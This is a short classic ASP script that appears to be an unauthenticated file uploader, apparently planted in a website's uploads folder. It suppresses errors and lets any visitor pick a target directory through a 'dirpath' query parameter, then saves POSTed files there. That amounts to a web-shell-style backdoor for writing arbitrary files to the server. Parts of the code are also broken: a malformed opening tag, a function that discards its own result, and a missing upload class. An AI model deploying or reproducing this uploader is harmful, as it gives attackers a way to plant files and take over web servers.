% On Error Resume Next %>
<%
response.buffer = true
%>
<%
Function ExtractDirName(byVal strFilename)
' Removes the directory from a string that contains path and filename
If Len(strFilename) > 1 Then
For I = 1 to 2
Dim X
For X = Len(strFilename) To 1 Step -1
If Mid(strFilename, X, 1) = "/" Then Exit For
Next
If Len(strFilename) > 1 Then
strFilename = Left(strFilename, X - 1)
Else
strFilename = "/"
X = 2
End If
Next
ExtractDirName = Left(strFilename, X - 1)
End If
End Function
Function ShowImageForType(strName)
' For the 'explorer': shows file-icons
Dim strTemp
strTemp = strName
If strTemp <> "dir" Then
strTemp = LCase(Right(strTemp, Len(strTemp) - InStrRev(strTemp, ".", -1, 1)))
End If
Select Case strTemp
Case "asp", "aspx"
strTemp = "asp"
Case "dir"
strTemp = "dir"
Case "htm", "html"
strTemp = "htm"
Case "gif", "jpg"
strTemp = "img"
Case "txt"
strTemp = "txt"
Case Else
strTemp = "misc"
End Select
strTemp = ""
ShowImageForType = strTemp
End Function
Dim errorMessage
function SaveFiles(PathToSaveTo)
' Saves potentially uploaded files - any errors are in errorMessage
Dim Upload, fileName, fileSize, ks, i, fileKey
Set Upload = New FreeASPUpload
Upload.Save(PathToSaveTo)
SaveFiles = ""
end function
%>
<%' Now to the Runtime code:
Dim strPath : strPath = "/so-content/uploads/yuklenenler/" 'Path of directory to show, default is root
If Len(Request.QueryString("dirpath")) > 1 Then
if right(Request.QueryString("dirpath"),1)="/" then
strPath = Request.QueryString("dirpath")
else
strPath = Request.QueryString("dirpath") & "/"
end if
end If
' on submit - save files
if Request.ServerVariables("REQUEST_METHOD") = "POST" then
Dim uploadmessage
uploadmessage = SaveFiles(Server.MapPath(strPath))
End If
%>